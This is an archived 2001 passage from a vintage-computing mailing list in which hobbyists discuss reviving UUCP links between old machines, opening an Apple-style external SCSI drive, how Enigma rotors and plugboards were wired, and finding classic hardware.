www.allegro.com/sieler From ard at p850ug1.demon.co.uk Wed Jun 13 20:03:46 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:29 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) In-Reply-To: <3B280D9D.FF1AB116@tiac.net> from "Bob Shannon" at Jun 13, 1 09:04:29 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 791 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010614/54d52579/attachment.ksh From spectre at stockholm.ptloma.edu Wed Jun 13 20:22:09 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: from Sellam Ismail at "Jun 13, 1 05:05:56 pm" Message-ID: <200106140122.SAA12576@stockholm.ptloma.edu> > Would it just come into being to move useless data around and brag to > girls about it? Can I meet these girls whom I can brag to about it? Most of the ones around here would still be trying to get their minds about two letter U's in such close proximity in the same word (the word 'geek' would also come up quickly). -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Predestination was doomed from the start. ---------------------------------- From jhellige at earthlink.net Wed Jun 13 20:20:44 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: References: Message-ID: >b) what would it be used for? > >Would it just come into being to move useless data around and brag to >girls about it? It could come in handy in the coming days when non-MS systems have trouble connecting to MS servers because of the various MS-only protocals and such..... Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jpero at sympatico.ca Wed Jun 13 16:44:51 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:29 2005 Subject: old external Apple drive In-Reply-To: References: <003501c0f42d$3535d540$9cc762d8@idcomm.com> Message-ID: <20010614014207.ZRWT17517.tomts5-srv.bellnexxia.net@duron> > Date: Wed, 13 Jun 2001 15:57:08 -0700 (PDT) > From: Don Maslin > To: > Subject: Re: old external Apple drive > Reply-to: classiccmp@classiccmp.org > > > On Wed, 13 Jun 2001, Richard Erlacher wrote: > > > It's about 8" long, x 7" wide x 3" tall, and has a dual DB25 connector at the > > rear, along with power and a rotary device selector switch. The box is > > early-Mac-colored. I've probed underneath the rubber pads on the bottom of the > > box and find no suggestion that there might be screws there, though I could be > > wrong if they're really short. The way the plastic shell latches together is > > relaly typical of early MAC stuff, though it might not really be MAC, but maybe > > Apple-II-something. > > I have one of about those dimensions that has four identical rubber > buttons on both top and bottom. The buttons are perhaps 7/8" diameter > and show on the side of the box for about that same dimension. A bit of > judicious work with a small screwdriver will jack mine straight up. > That done, exposes screws on the bottom side, and unused provisions for > same on top. Mine, however, has dual 50-ribbon connectors on it - > definitely SCSI and Apple also. My APS optical box is like this, pull straight up all 8 grey feets and undo two screws at rear hidden by that feets, and pulling it apart. If you skip pulling some of those feets, it won't come apart even that screws are out. Cheers, Wizard > > - don > > > The interface is pretty clearly SCSI, else it wouldn't be able to identify > > itself, though it doesn't spin the drive up. > > > > Dick > > > > > > ----- Original Message ----- > > From: "Don Maslin" > > To: > > Sent: Tuesday, June 12, 2001 11:17 PM > > Subject: Re: old external Apple drive > > > > > > > > > > > > > On Tue, 12 Jun 2001, Richard Erlacher wrote: > > > > > > > I recently was given a Western Digital Hard Disk 20AP, obviously intended > > for > > > > use with an Apple computer of some sort. It identifies itself as a Western > > > > Digital WD1006-something-or-other but doesn't spin up, and that suggests to > > me > > > > that there might be an interesting bridge controller in this box. > > > > Unfortunately, I don't know how to open the box. Does anybody know how that > > > > might be done? Does anybody know how to operate this device (low-level > > details, > > > > not Apple-user instructions)? > > > > > > There were a variety of those external drive boxes, Dick. Some snap > > > together while others have screws hidden under feet, or ??? Can you > > > describe it? > > > - don > > > > > > > > > > > > > > > From vaxcat at retrocomputing.com Wed Jun 13 20:55:43 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: References: Message-ID: As far as (a), actually I think you're right. Someone suggested using cheap 386/486 linux boxes as serial uucp <--> ethernet (or dialup) tcp/ip gateways. That really piqued my interest. Instead of convincing people to dial long-distance to transfer data from vintage machines to other vintage machines, it'd simply be a matter of convincing folks to turn 'useless' 386 boxes into something fun. Who would mind that? As far as (b) goes, "Connectivity is it's own reward." It'd be a way to transfer files directly from one vintage machine to another without having to deal with sneaker-net (floppies) or other intermediate steps. What got me to thinking about it was when Don Maslin sent me a file via email. Upon receiving it, I scratched my head and wondered how to most efficiently transfer it from my iMac to my Kaypro. Then I thought, "Geez, if I could just run UUCP between my vintage machines and those of others, the file could have just been sent directly to my machine. Convenient!" Of course, my ultimate goal is to impress the gals. Anthony Clifton >> My thought was a loosely connected network of vintage computers >> connected by UUCP and bound together by some part-time (midnight) >> dialup servers, which would allow you to send files DIRECTLY from your >> Kaypro to someone else's CompuPro. Or from your Commodore to >> someone's PDP-11. >a) wouldn't the long-distance charges quell enthusiasm for this at some > point? >b) what would it be used for? > >Would it just come into being to move useless data around and brag to >girls about it? From mcguire at neurotica.com Wed Jun 13 21:00:58 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:29 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: Re: VAX 8600 lot hauled (was: Austin Texas UT Auction) (John Allain) References: <200106132342.f5DNglK22366@shell1.aracnet.com> <00a701c0f46c$bf66bb00$21fe54a6@ibm23xhr06> Message-ID: <15144.6874.304745.189284@phaduka.neurotica.com> On June 13, John Allain wrote: > Anybody have a spare RA70 or compatible > they'd like to sell? I've got a few...you emailed me about those awhile back, didn't you? I think I missed that. > Is there such a thing as a QBus controller for > generic Pertec tape drives? Yup. DEC TSV11 for one, actually made by Dilog if memory serves. > I agree the mVII is a tad slow but it sure is 'built' > in the electro-mechanical sense. Yes. -Dave McGuire From claudew at videotron.ca Wed Jun 13 21:20:34 2001 From: claudew at videotron.ca (Claude.W) Date: Sun Feb 27 19:04:29 2005 Subject: Vintage Machines in Gaspe (Montreal, Quebec?) References: <007401c0f44f$0ba9b940$0101a8c0@sympatico.ca> Message-ID: <00cf01c0f478$97d5d4c0$0200a8c0@gamerclaude> Well not a lot around Montreal.... I get most of my machines now through trades and through friends and contacts that I have built with time... There used to be A-1 computers in Montreal. Piles of stuff but very weird to deal with. This building was about 20 000sq feet of a unheated building with craters in the parking lot....piles of old computers and monitors and weird stuff and I was once showed another huge 30 X maybe 200 pile in the back. The things were not stacked but thrown in piles! The prices were ridiculous...I showed the owner a Sun IPX and asked "how much for this?" and he said "$100"...he had tons and there was still a tag on the box showing he had paid $2 for it.......last time I was there he said he was moving and going to "internet only sales" and would not be opened to the public anymore...good cause seemed a lot of people were unhappy with whatever they purchased from there...if the prices would of been more "realistic" this could of been a place to find stuff but the prices were just stupid...everytime I passed by there he was in a argument with a client either on the phone on right there... I have yet to find that "gold mine warehouse" where piles of obsolete and semi-obsolete non IBM PC computers would be piled and I could hunt through for hours and grab what I would want for $1/10 pounds....maybe, one day... I have tried to go "public" as much as possible with my hobby and have gotten quite a few machines through people that just hear about me and get in touch with me through email... Claude ----- Original Message ----- From: Mike Kenzie To: Sent: Wednesday, June 13, 2001 5:23 PM Subject: Vintage Machines in Gaspe? > I'm heading out on vacation through Montreal to Gaspe and > possibly returning through Maine, New Hampshire, Vermont and > New York. > > Are there any interesting stops for vintage machines along > the way. I think someone once mentioned an SGI machine that > was taking up space. Still looking for a monitor and cable > to complete a VAXstation. > > From gunther at aurora.regenstrief.org Wed Jun 13 21:19:57 2001 From: gunther at aurora.regenstrief.org (Gunther Schadow) Date: Sun Feb 27 19:04:29 2005 Subject: Manuals to PDF advice sought References: <46556072@dasher.Dartmouth.EDU> Message-ID: <3B281F4D.E6326EB7@aurora.regenstrief.org> Jeff Hellige wrote: > >Re: OCR -- Trouble I've had is (and this is just pickiness, if the > >actual info's all you care about then it's no prob) you invariably > >lose the font and other aspects of the original appearance of the > >document, which is a bummer. I converted a PDF of Sun Remarketing's > >Lisa DIY guide into HTML with images because I wanted search engines > >to be able to index the content. > > The ability to search the PDF would be nice, but I think the > amount of work required to do the OCR and then do all the formatting > and such would outweigh that benifit, though the OCR'd PDF's tend to > be smaller as well. I'd prefer to keep the original layout, fonts > and all, though. What comes as relief -- if you have that software -- you can have PDF with two layers: a searchable OCRed layer and a viewable pixel layer. You view the pixels and search the OCRed text. I have been told it works nicely. -Gunther -- Gunther Schadow, M.D., Ph.D. gschadow@regenstrief.org Medical Information Scientist Regenstrief Institute for Health Care Adjunct Assistant Professor Indiana University School of Medicine tel:1(317)630-7960 http://aurora.regenstrief.org From chomko at greenbelt.com Wed Jun 13 21:46:44 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:29 2005 Subject: IBM 5110 available (two) References: <3B27AAFB.19423.1B5FD962@localhost> Message-ID: <3B282594.C61B0511@greenbelt.com> I had a summer job in college (1978) working on an IBM 5110. It was all BASIC, but was a pretty good BASIC as I recall. The company was in Reston, Virginia, called the Community Management Corp. They used to maintain condo complexes (hire grass cutters, do maintenance work on the outsides of the units). They would charge the homeowners a additional fee on top of their mortgages, etc. Anyway, my claim to fame was rewriting a search program to do a bianry search rather than a straight linear search. They sorted all the data using IBM-supplied code sort algorithm, but then would use an inefficient selection search algorithm to do searches. Needless to say the binary search worked much faster. It was a decent job with good pay but was on the other side of the beltway. I went back to school in the fall semester. Eric Stan Sieler wrote: > > What is on all those floppies anyway? > > The owner told me that he used the 5110 along with an unreliable > IBM 5265 POS system. The 5110 was very reliable and he > didn't have a service contract for it. Eventually, he bought a used > 5110 as a spare ... both units still work. > > The POS had an 8" floppy that recorded the sales and then > the data was moved to the 5110. > He wrote the software to process the inventory and merge the > information between the two machines. > (For 1978, this was pretty good!) > > That's all I know. > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From pechter at bg-tc-ppp480.monmouth.com Wed Jun 13 22:03:04 2001 From: pechter at bg-tc-ppp480.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: <20010613224524.75926.qmail@web9505.mail.yahoo.com> from Ethan Dicks at "Jun 13, 2001 03:45:24 pm" Message-ID: <200106140303.f5E334A17868@bg-tc-ppp480.monmouth.com> > At least script kiddies aren't running around with wads of exploits for > UUCP daemons hanging on port 540. Security through antiquity? > > -ethan Damn... now i've got to open up 540 on this box. uucpd is up... It's tcp wrappered though and I'm not taking anonymous uucp. I'll set it up if anyone wants to test connections to me. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From nerdware at laidbak.com Wed Jun 13 22:08:28 2001 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 19:04:29 2005 Subject: Ebay horror ... In-Reply-To: <005301c0f45a$0b485e60$21fe54a6@ibm23xhr06> Message-ID: <200106140319.f5E3JCw00608@grover.winsite.com> Actually, there was a guy with a booth outside at Dayton, and he was demonstrating an Enigma machine (I think this one was Polish...I know it wasn't of German origin) and you are pretty much right on. The one he was showing was a 4-rotor version with the two-way signal path. Pretty cool tech, even for today. If you were there, it was in a double space, under an awning, and his main thing was old telegraph keys. > > Of course, like most of my answers to this list it > will likely be corrected later on, here's a quick > answer: > > Keyboard (1 letter press +AD0- 1 signal line) > goes to... > -+AD4- Arbitrary plugboard (''fixed'' rotor) > -+AD4- Rotor: N signal points in, > N out in scrambled order, > angle dependant > -+AD4- Rotor, with diff. scrambling AND angle > -+AD4- Rotor, again > -+AD4- Light array (1 signal line +AD0- 1 Illuminable Letter) > > The rotor as you may guess increments with each > keypress. Later improvements included a fourth > rotor and a reflection arrangement which apparently > allowed each rotor to pass the signal both to its > right AND to its left without ever having crossed > wires (neat). It would reach the far wall and then > be sent back eventually to the rotor origin. A wire > cross anywhere would cause non unique mappings, IE 2 > letters out at once, which was designed out. > > John IIRC. > > Paul Braun WD9GCO Cygnus Productions nerdware_nospam@laidbak.com "A computer without a Microsoft operating system is like a dog without a bunch of bricks tied to its head." From pechter at bg-tc-ppp480.monmouth.com Wed Jun 13 22:12:45 2001 From: pechter at bg-tc-ppp480.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: <20010613222902.73987.qmail@web9507.mail.yahoo.com> from Ethan Dicks at "Jun 13, 2001 03:29:02 pm" Message-ID: <200106140312.f5E3CkH17892@bg-tc-ppp480.monmouth.com> > > --- Ken Seefried wrote: > > > > The source code for uucp is availible any number of places; that's probably > > the best existing doco. I occasionally have to dust off my ancient UUCP > > sk1llz to get files on and off some antique for a client. > > When I was a system admin for Lucent (1997-1999), I was amazed at how much > they depend on UUCP for internal file transfer. It was pretty much all TCP/IP in '97 in Holmdel. They've talked about removing the UUCP support inside Lucent but too many people have embedded it into operations... and I enjoyed still having it around like an old friend. I taught 3 different uucp versions at Pyramid Technology -- the SysV pre HDB one, the 4.3BSD one, and the HDB BNU one. You could literally install two versions on a machine (one in the AT&T universe and one in the BSD universe and have your machine talking to itself with two different UUCP's over ethernet and serial port). > I don't know... UUCP has the advantage of working with just about everything > that can take a hard disk but doesn't have Ethernet (Amigas, AT&T 3B1/Unix-PCs, > PDP-11s, etc.). In the case of classic hardware, baroque software is a good > thing - it means you don't have to roll your own. About the only thing that > is more universal than UUCP is Kermit. Yup. Kermit's great. I was surprised that my Concurrent Computer make CCOP1 make file mods were distributed with the recent releases. They were internal hacks that I never figured would get outside. (Supported 4.2 BSD Direct/Dirent stuff with SysVR0 stuff and some PD software). > > > I can almost remember when I was "...!ucbvax!gatech!weasel!ken". > > I was "...!ihnp4!cbosgd!osu-eddie!giza!kumiss!erd" Well... boy I was a lot of machines for a while. ... peora!petsd!tsdiag!ccop1!i4got (Concurrent computer) something at pyramid!pyrnj!pyrite!i4got (the MicroXelos 68k unix box predecessor of this FreeBSD box) (pechter.dyndns.org a.k.a. i4got) tsdiag!ka2qhd!i4got!i4get (SCO 8086 Xenix Sysv) on AT&T6300 Those were the days. Wish I could go back. Bill From vaxcat at retrocomputing.com Wed Jun 13 22:33:53 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: <200106140303.f5E334A17868@bg-tc-ppp480.monmouth.com> References: <20010613224524.75926.qmail@web9505.mail.yahoo.com> from Ethan Dicks at "Jun 13, 2001 03:45:24 pm" Message-ID: It'll take me a couple weeks but I'll get a box going with uucpd as well and we'll see what we can see. =) We're gonna have some fun now! Anthony Clifton >> At least script kiddies aren't running around with wads of exploits for >> UUCP daemons hanging on port 540. Security through antiquity? >> >> -ethan > >Damn... now i've got to open up 540 on this box. >uucpd is up... It's tcp wrappered though and I'm not taking >anonymous uucp. > >I'll set it up if anyone wants to test connections to me. From mikeford at socal.rr.com Wed Jun 13 22:21:10 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: <200106140122.SAA12576@stockholm.ptloma.edu> References: from Sellam Ismail at "Jun 13, 1 05:05:56 pm" Message-ID: >Can I meet these girls whom I can brag to about it? Most of the ones around Get a shopping basket at Fry's on Saturday morning, put at least enough stuff in it for two high end servers, then lurk in the memory area. Babe city. ;) From ethan_dicks at yahoo.com Wed Jun 13 22:39:34 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: <200106140312.f5E3CkH17892@bg-tc-ppp480.monmouth.com> Message-ID: <20010614033934.97817.qmail@web9505.mail.yahoo.com> --- Bill Pechter wrote: > I wrote: > > When I was a system admin for Lucent (1997-1999), I was amazed at how much > > they depend on UUCP for internal file transfer. > > It was pretty much all TCP/IP in '97 in Holmdel. They used a combination of UUCP over IP and UUCP over some AT&T serial protocol over fiber. Can't remember the product name. Cost a bundle for a compatible Sbus card and the license for the driver. Oh... this was at the Columbus Works (thus cbosgd, cbatt, etc.), formerly a Western Electric factory. > They've talked about removing the UUCP support inside Lucent but too > many people have embedded it into operations... No doubt. > You could literally install two versions on a machine (one in the AT&T > universe and one in the BSD universe and have your machine talking to itself > with two different UUCP's over ethernet and serial port). Never tried that but I'm sure it would work. Kinda gross, though. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Wed Jun 13 22:40:12 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:29 2005 Subject: Ebay horror ... In-Reply-To: <200106140319.f5E3JCw00608@grover.winsite.com> Message-ID: <20010614034012.89385.qmail@web9503.mail.yahoo.com> --- Paul Braun wrote: > Actually, there was a guy with a booth outside at Dayton, and he > was demonstrating an Enigma machine (I think this one was > Polish...I know it wasn't of German origin) and you are pretty much > right on. The one he was showing was a 4-rotor version with the > two-way signal path. Pretty cool tech, even for today. > > If you were there, it was in a double space, under an awning, and > his main thing was old telegraph keys. Missed it, but it was raining on and off on Friday, the only day I was there. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From edick at idcomm.com Wed Jun 13 23:18:13 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:29 2005 Subject: Ebay horror ... References: Message-ID: <002901c0f489$07b0d460$9cc762d8@idcomm.com> Quite frankly, it's unlikely there's any reason for me to pick up hardware like the Enigma. I'd probably not recognize one if it bit me in the leg. Unless I have reason to take a board home, I leave it in the junkyard. I've walked right by large (DEC, Unisys, CDC, CRAY, DENELCOR, etc, hardware without so much as a look. Likewise, the SGI, HP, SUN, etc, stuff is safe from me. I also generally don't even bend over for a MAC. It's the old Multibus-1 and S-100 stuff, which I hardly ever see around here, that interests me, and I very seldom go looking for classic hardware, except in my basement. Sometimes I even find what I want. If I see something YOU might want, I leave it where it lies for you to find it. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Wednesday, June 13, 2001 5:39 PM Subject: Re: Ebay horror ... > > > > +AD4-tony asked: > > +AD4-Do you have any clue as to how an Enigma works and what it consists of? > > +AD4-Simple rotary switches indeed????? > > > > > > Of course, like most of my answers to this list it > > will likely be corrected later on, here's a quick > > answer: > > My original question was aimed at Richard.... Anyone who even considers > scrapping an Enigma should be LARTed. And anyone who thinks you can get > 'simple rotary switches' from one doesn't really understand how the > machine was built. > > > Keyboard (1 letter press +AD0- 1 signal line) > > goes to... > > -+AD4- Arbitrary plugboard (''fixed'' rotor) > > -+AD4- Rotor: N signal points in, > > N out in scrambled order, > > angle dependant > > -+AD4- Rotor, with diff. scrambling AND angle > > -+AD4- Rotor, again > > -+AD4- Light array (1 signal line +AD0- 1 Illuminable Letter) > > > > The rotor as you may guess increments with each > > keypress. Later improvements included a fourth > > rotor and a reflection arrangement which apparently > > allowed each rotor to pass the signal both to its > > right AND to its left without ever having crossed > > wires (neat). It would reach the far wall and then > > Close. AFAIK, the reflector came in pretty early on. > > I've once used an Enigma machine (at Bletchley Park, of course). I wasn't > able take said machine apart, of course, but I did manage to deduce some > bits of how I think they were built. > > Firstly let me assume there are 26 keys and light bulbs. That might be > wrong, but it's a working figure. > > Each key is a chageover switch. The normally open contact of all the keys > goes to one side of the battery. The normally closed contact to one side > of a lamp. The other side of all the lamps goes to all the batteries. > > What this means (of course) is that if the common contacts of 2 of the > keys are linked, pressing one key lights the bulb associated with the > other and vice versa. This means the same setting can be used to encryt > and decrypt a message -- it's self inverse. > > These connections between the common contacts of the keys are made by the > rotors. There are 26 contacts in a circle fixed to the chassis of the > machine (one contact to each key common contact, of course). The first > rotor has 26 contacts on one side that make contact with the ones on the > chasiss. These are wired (essentially at random although all machines > were, of course, the same) to 26 contacts on the the other side of the > first rotor. This is repeated for the other 2 rotors (with different > wiring patterns). Finally, the last side of the third rotor makes contact > with the reflector. This has 26 contacts on it which are wired together > in 13 pairs. > > When a key is pressed a current (from the battery) flows : > > Through the N/O contact of that key to one of the contacts on the > chassis. > > From there through a wire on the 1st rotor to a contact on the other side > of that 1st rotor > > Ditto for the 2nd and 3rd rotors > > Then though one contact on the reflector, along one of the 13 wires in > the reflector to another contact on the reflector. > > Then back along a different wire in the 3rd rotor > > Ditto along different wires in 2nd and 1st rotors > > To a contact on the chassis (which must be different from the first > contact I mentioned) > > Then to the common terminal of another key (which is not pressed) > > To the N/C contact of the that key to a lamp > > And back to the battery. > > As you said, there's a mechanical linkage to step one of the rotors on > one position after each key press. And a 'carry' linkage that moves the > next rotor on one step after the first rotor has gone round once. And > when the seocnd rotor had gone round once, the third rotor was advanced > one position. > > Ah yes, the plugboard. > > It has 26 2 pin sockets, each polarised (different size pins IIRC). One > size of pin goes to the N/C contact of the corresponding keyboard switch, > the other plugboard pin goes to the lamp. There's a contact inside each > socket that shorts the socket pins together if there's no patch lead > inserted, The patch leads had a 2 pin plug on each end, with the > connections crossed over (large pin at one end to small pin at the other). > Inserting a patch lead between 2 of the sockets effectively crossed over > the external connections associated with those 2 sockets > > There are 2 places that the patchboard might have been connected (I don't > know which is correct). One is between the common contacts of the > keyswitches and the chassis contacts for the rotors. The other is between > the N/C contacts of the keys and the corresponding lamps. > > The latter position would allow the Enigma to encrypt a letter as itself > (that's impossible without the plugboard since as soon as a key is > pressed, the corresponding lamp is out of circuit). With the plugboard > between the keys and the lamps it would be possible for the encrypted > form of a character to go via the plugboard to the lamp for that > (unencrypted) character. > > Since I believe that the fact that a letter was never encrypted as itself > was one of the weaknesses that was used to crack Enigma, maybe the > plugboard was in the the first position I mentioned. > > > > be sent back eventually to the rotor origin. A wire > > cross anywhere would cause non unique mappings, IE 2 > > letters out at once, which was designed out. > > Actually, wired as I described, no matter how the rotors are wired, and > how the reflector is wired, you must end up with a 1-1 self-inverse > mapping between keys and lamps for a given rotor position. > > So, are my guesses anything close to correct? > > -tony > > > From edick at idcomm.com Wed Jun 13 23:25:30 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:29 2005 Subject: old external Apple drive References: Message-ID: <002f01c0f48a$0c176d60$9cc762d8@idcomm.com> Yes, that's why I'm so curious about how to open the box without breaking something. The 1006V boards I have are ISA boards, one being RLL (with a boot ROM) and the other being an MFM board (no ROM). If there's a SCSI (I know about their SASI bridges) bridge from Western, it's certainly eluded me. The ID switch on the box, BTW, is a 16-position HEX-labelled rotary switch. Viewed via the SCSI adapter in the PC, the drive is dead, but from what I hear, it's quite alive, making normal wake-up and stretch exercise noises as it powers up, and settling within about 10 seconds. however, there's nothing that can be done with it from the PC via the ADAPTEC controller. It's a handy size box, not that I have a shortage of SCSI boxes. I figure that once I've learned what I can from it, I'll give it to a friend who's portable-drive-poor, though I may replace the drive with something more sizeable. Dick ----- Original Message ----- From: "Don Maslin" To: Sent: Wednesday, June 13, 2001 5:04 PM Subject: Re: old external Apple drive > > > On Wed, 13 Jun 2001, Richard Erlacher wrote: > > > When my WD20AP unit is attached to an ADAPTEC AHA1542B under DOS and allowed to > > boot with the drive turned on, it "sees" and reports the presence of a device, > > WD-1006-something which it later reports it can't spin up. > > Interesting and confusing! The WD-1006 series that I am familiar with > were all either ISA or MCA cards with either MFM or RLL ST-412 drive > interface. > > > It looks like it belongs to the late Apple-II/early MAC period, being shaped and > > colored to match. (take the color info with a grain of salt, though, since I'm > > "chromatically challenged.") > > > > It's pretty clearly a SCSI device, else the SCSI controller (AHA1542B) would not > > be able to communicate with it via the SCSI-1<=>DB25 (Comonly used with Apple > > SCSI ports) adapter cable. > > That is hard to argue with! > > - don > > > I wouldn't bet on a healthy result attaching the device to anything not SCSI. > > It's possible that my unit had a dead drive in it, at least if there's a bridge > > controller, which I'd readily believe, but if there's a bridge, it probably > > wants to be set up, i.e. told what sort of drive it's got, which has to happen > > from the outside if it can't readily read the drive info from the drive itself, > > in most cases. Now, a couple of other Apple type external drives with which > > I've experimented have had customed firmware that prevents the bridge controller > > from behaving as similar models would behave, possibly requiring that they see > > the Apple setup routines before doing anything. I'm not at all certain about > > that. > > > > Dick > > > > ----- Original Message ----- > > From: "Eric Chomko" > > To: > > Sent: Wednesday, June 13, 2001 6:01 AM > > Subject: Re: old external Apple drive > > > > > > > > > > > > > Mike Ford wrote: > > > > > > > >> I recently was given a Western Digital Hard Disk 20AP, obviously > > > > >>intended for > > > > >> use with an Apple computer of some sort. It identifies itself as a > > Western > > > > > > > > Why do you say obviously intended for use with an apple? I don't recall > > > > anything by WD that was for an Apple, or even Apple friendly. 20AP sounds > > > > more to me like some old parallel interface PC thing. > > > > > > I have the WD 40AP. It uses a DB-25 connector and I thought that it was SCSI, > > but > > > wasn't convinced for sure. I do remember I didn't find much on the web for it > > one > > > way or another. Does anyone know if its SCSI or TTL parallel? Any other info? > > > > > > Eric > > > > > > > > > > > > > > > > > > > > > From edick at idcomm.com Wed Jun 13 23:43:49 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:29 2005 Subject: Ebay horror ... References: Message-ID: <004101c0f48c$9b03f320$9cc762d8@idcomm.com> see below, plz. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Wednesday, June 13, 2001 2:32 PM Subject: Re: Ebay horror ... > > > > If you're suggesting that every board I acquire should be left intact, then > > No, I'm saying that every board _I_ acquire will be left intact (unless > it's so badly damaged that there's no way it could be used again). You do > your thing and I'll do mine, OK... > > > you're also saying that I should leave it at the junkyard, since most of them > > are of no value to me if I don't own the system into which they might fit. I > > How do you know you won't ever get the machine they go in. > I generally know I don't want the machine they go in. If I don't require the parts, or know I will in the forseeable future, I don't buy the boards, for scrap or whatever. That way, if someone else wants them, they're still there if they haven't been shredded. > > True story, about 20 years ago I could have had a box of M-series > flip-chip cards (things like M113 NAND gates, etc). I didn't bother -- > there was no way I would ever own a PDP11, right. Now I have a dozen or > more DEC machines and want ever card I can find for them. > > I have never regretted saving spare parts and keeping them until they can > be used in the machine they were designed to go in. I have several times > regretted _not_ getting spare parts... > > > I don't buy stuff unless I see a use for it, and that's why I've left lots of > > DEC, HP, SUN, and other boards and systems right where I found them. I've also > > Actually, DEC, HP, and SUN (the older the better in all 3 cases) are > exactly what is useful to me... > > > left boards from systems I reecognized, like Apple, and lots of PC/ISA boards. > > > > I'd buy an Enigma for a few bucks, because I could get more for it, on eBay, > > say, than it cost me, or, maybe, because the rotary switches might be of > > I'd buy an Enigma because it's a very fun toy. If I did manage to get one > you can be sure it wasn't going to appear on E-bay.... > > > interest at some later date. I don't use simple rotary switches much, though. > > I've had four of them in my stock for over 25 years and have never once been > > moved to use them, though I've used encoded thumbwheel switches quite > > frequently. > > Do you have any clue as to how an Enigma works and what it consists of? > Simple rotary switches indeed????? > I have no clue how it works, nor do I believe I need to know this week. I have designed over half a dozen encryption devices, for several government clients, and in at least one case, after powerhouses like Tracor and Lockheed couldn't manage it, though not in the past 10 years, and managed it just fine without detailed knowledge of how the Enigma worked. That's not to say it mightn't be interesting to look at sometime. In its day, the Enigma was definitely THE machine, but today, we're more concerned about keeping the guy in the next building from detecting what we're doing than with the encryption algorithm itself. There are plenty of encryption algorithms that take long enough to crack if you don't have all the pieces of the puzzle at the outset, that the data you get is long obsolete by the time you're done. However, try building a digital communication instrument the size of a small tabletop modem sometime, when you have to have between 80 and 120 db of isolation between the two ends, and a single power supply. > > -tony > > From bdc at world.std.com Wed Jun 13 23:49:34 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: <20010613204943.19151.qmail@mail.seefried.com> Message-ID: On Wed, 13 Jun 2001, Ken Seefried wrote: > The source code for uucp is availible any number of places; that's probably > the best existing doco. I occasionally have to dust off my ancient UUCP > sk1llz to get files on and off some antique for a client. > > BTW...If one wanted to create an out-of-band network, I dunno if I'd pick > UUCP. There are a number of other approaches to doing this out there that > are more functional, more covert and less baroque. > > [...] I think it would be interesting if you could somehow use packet radio via amateur satellites to carry UUCP network traffic. It could definitely be gatewayed through systems with dialup services or TCP/IP connectivity. I just think it'd be more interesting if you could add satellites to the mix. -brian. From claudew at videotron.ca Thu Jun 14 00:02:46 2001 From: claudew at videotron.ca (Claude.W) Date: Sun Feb 27 19:04:29 2005 Subject: One website with people on classiccmp's "for trade/wanted" lists....could be searchable by parts, location, interests etc...this an idea? Message-ID: <001901c0f48f$40616800$0200a8c0@gamerclaude> Hi all. Yes, I enjoy making trades with a lot of people on classiccmp...I have done many and given away a lotta stuff too...I make friends and contacts and the stuff gets delivered to my door and I dont spend long days hunting in garage sales and flea markets.... I see a lot of posts of people offering stuff lately and I think this is great... Would this be a good idea having a kinda "central classiccmp collector trader list site" where people could post their trade/wish lists in a "standard format" and this could be searched by location, parts, interests and such? Would this not be a good way of encouraging trades and help people complete machines and find parts...? Would there be enough people interested? Who has the will, time, knowledge and web space? Anyone? Claude http://www.members.tripod.com/computer_collector From claudew at videotron.ca Thu Jun 14 00:42:32 2001 From: claudew at videotron.ca (Claude.W) Date: Sun Feb 27 19:04:29 2005 Subject: Amiga history article Message-ID: <000701c0f494$ceeab7c0$0200a8c0@gamerclaude> A very interesting one, quite indept about the history of the Amiga (my favorite) ... 